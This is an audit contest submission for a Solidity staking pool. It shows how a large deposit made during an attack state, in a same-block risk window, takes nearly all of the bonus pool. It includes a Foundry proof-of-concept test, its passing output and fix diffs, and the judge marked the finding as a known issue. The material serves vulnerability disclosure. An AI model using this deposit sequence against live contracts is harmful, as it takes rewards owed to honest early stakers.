FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: low
Invalid

Late `UNDER_ATTACK` whale captures bonus via `globalScore == 0` amount-weighted fallback

Author Revealed upon completion

Root + Impact

When the risk window opens and closes in the same block (riskWindowStart == riskWindowEnd), the k=2 bonus denominator collapses to zero and _bonusShare falls back to a pure stake-proportional split. A large deposit made during UNDER_ATTACK in that block is included in snapshotTotalStaked at full weight, so a late whale captures nearly the entire bonus pool and early risk-bearing stakers receive almost nothing.

Description

  • Under normal operation, the bonus pool is distributed with a k=2 time-weighted formula: each deposit earns share proportional to (T − entryTime)², which heavily favors stakers who bore risk early and crushes late entrants. docs/DESIGN.md §3 states that deposits during UNDER_ATTACK earn “~zero” bonus because entry time is floored at riskWindowStart.

  • When riskWindowStart and riskWindowEnd are observed in the same block, every staker’s effective entry equals T, so globalScore == 0. The contract then uses an amount-weighted fallback (userEligible / snapshotTotalStaked × snapshotTotalBonus). Staking remains open during UNDER_ATTACK, so a whale can deposit immediately after pokeRiskWindow() and before the registry transitions to PRODUCTION and flagOutcome(SURVIVED) snapshots stake — bypassing the k=2 late-entrant penalty entirely.

// src/ConfidencePool.sol
function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
// ...
_assertDepositsAllowed(_observePoolState()); // @> UNDER_ATTACK is NOT blocked
// ...
totalEligibleStake += received; // @> late whale included in snapshot at flagOutcome
}
function _assertDepositsAllowed(IAttackRegistry.ContractState state) private pure {
if (
state == IAttackRegistry.ContractState.PROMOTION_REQUESTED
|| state == IAttackRegistry.ContractState.PRODUCTION
|| state == IAttackRegistry.ContractState.CORRUPTED
) {
revert StakingClosed();
}
// @> UNDER_ATTACK deposits allowed
}
function _bonusShare(address u, uint256 userEligible) internal view returns (uint256) {
// ...
uint256 globalScore = plus > minus ? plus - minus : 0;
if (globalScore == 0) {
// @> zero-length risk window → amount-weighted, not k=2
if (snapshotTotalStaked == 0) return 0;
return Math.mulDiv(userEligible, snapshotTotalBonus, snapshotTotalStaked);
}
return Math.mulDiv(userScore, snapshotTotalBonus, globalScore);
}

Risk

Likelihood: Low

  • The registry transitions from UNDER_ATTACK to PRODUCTION within the same block as pokeRiskWindow(), producing riskWindowStart == riskWindowEnd and globalScore == 0 at resolution time.

  • A whale stakes a large amount during UNDER_ATTACK after the risk window opens but before flagOutcome(SURVIVED) snapshots totalEligibleStake, which occurs in that same block or shortly after while the fallback path is active.

  • This is not a flash-loan attack: claimSurvived() requires a prior flagOutcome in a separate transaction, so the attacker must lock capital from stake through resolution.

Impact: High

  • Early stakers who deposited before the risk window lose almost all of their expected bonus to the late whale (e.g. ~98% of a 60-token bonus pool in the PoC below).

  • Principal is returned on SURVIVED claims; the loss is confined to the bonus pool, but that pool is the economic incentive the protocol uses to reward early confidence — making the misallocation a material harm to honest participants.

Severity: Medium (Low likelihood × High impact on bonus allocation)

Proof of Concept

From the repo root (after forge install and forge build):

forge test --match-test testKB_lateUnderAttackWhaleDrainsBonusViaAmountWeightedFallback -vv

The PoC lives in test/unit/KBAuditWhaleDrain.t.sol. A passing run shows the late whale’s bonus exceeds Alice’s by more than 100×.

PoC file: test/unit/KBAuditWhaleDrain.t.sol

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
contract KBAuditWhaleDrainTest is BaseConfidencePoolTest {
function testKB_lateUnderAttackWhaleDrainsBonusViaAmountWeightedFallback() external {
_stake(alice, 100 * ONE);
_stake(bob, 50 * ONE);
_contributeBonus(carol, 60 * ONE);
// Zero-length risk window: open and close in same block
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
_stake(attacker, 10_000 * ONE); // late whale during UNDER_ATTACK
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
uint256 aliceBefore = token.balanceOf(alice);
vm.prank(alice);
pool.claimSurvived();
uint256 aliceBonus = token.balanceOf(alice) - aliceBefore - 100 * ONE;
uint256 attackerBefore = token.balanceOf(attacker);
vm.prank(attacker);
pool.claimSurvived();
uint256 attackerBonus = token.balanceOf(attacker) - attackerBefore - 10_000 * ONE;
assertGt(attackerBonus, aliceBonus * 100);
}
}

Execution results

$ forge test --match-test testKB_lateUnderAttackWhaleDrainsBonusViaAmountWeightedFallback -vv
Ran 1 test for test/unit/KBAuditWhaleDrain.t.sol:KBAuditWhaleDrainTest
[PASS] testKB_lateUnderAttackWhaleDrainsBonusViaAmountWeightedFallback() (gas: 783390)
Suite result: ok. 1 passed; 0 failed; 0 skipped

Numeric outcome (PoC parameters)

Actor Stake Bonus received (approx.) Share of 60 bonus
Alice 100 tokens ~0.59 tokens ~0.99%
Bob 50 tokens ~0.30 tokens ~0.49%
Attacker 10,000 tokens ~59.11 tokens ~98.5%

snapshotTotalStaked at flag time: 10,150 tokens. Attacker bonus exceeds Alice’s by >100× (assertGt(attackerBonus, aliceBonus * 100)).

The existing regression test testBonusFallsBackToAmountWeightedWhenFlagSameBlockAsRiskWindow covers the fallback with only pre-window stakers; it does not include a late UNDER_ATTACK whale.

Recommended Mitigation

Exclude post-window deposits from the amount-weighted fallback, or block staking once the terminal risk moment is sealed.

Option A — exclude late entries from fallback denominator:

if (globalScore == 0) {
if (snapshotTotalStaked == 0) return 0;
- return Math.mulDiv(userEligible, snapshotTotalBonus, snapshotTotalStaked);
+ // Only count stake that entered before/at riskWindowStart for fallback split
+ uint256 eligibleForFallback = _fallbackEligibleStake(u, userEligible);
+ if (eligibleForFallback == 0) return 0;
+ return Math.mulDiv(eligibleForFallback, snapshotTotalBonus, _snapshotFallbackDenom());
}

Option B — close staking when the risk window has ended (simpler):

function _assertDepositsAllowed(IAttackRegistry.ContractState state) private view {
if (
state == IAttackRegistry.ContractState.PROMOTION_REQUESTED
|| state == IAttackRegistry.ContractState.PRODUCTION
|| state == IAttackRegistry.ContractState.CORRUPTED
) {
revert StakingClosed();
}
+ if (riskWindowEnd != 0) {
+ revert StakingClosed();
+ }
}

Option B prevents any deposit after riskWindowEnd is sealed, including late UNDER_ATTACK stakes in a same-block open/close window, while preserving the existing amount-weighted fallback for stakers who were already in the pool before the window opened.

Updates

Lead Judging Commences

inallhonesty Lead Judge
20 days ago
inallhonesty Lead Judge 2 days ago
Submission Judgement Published
Invalidated
Reason: Known issue
Assigned finding tags:

Known Design #7

inallhonesty Lead Judge 2 days ago
Submission Judgement Published
Invalidated
Reason: Known issue
Assigned finding tags:

Known Design #7

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!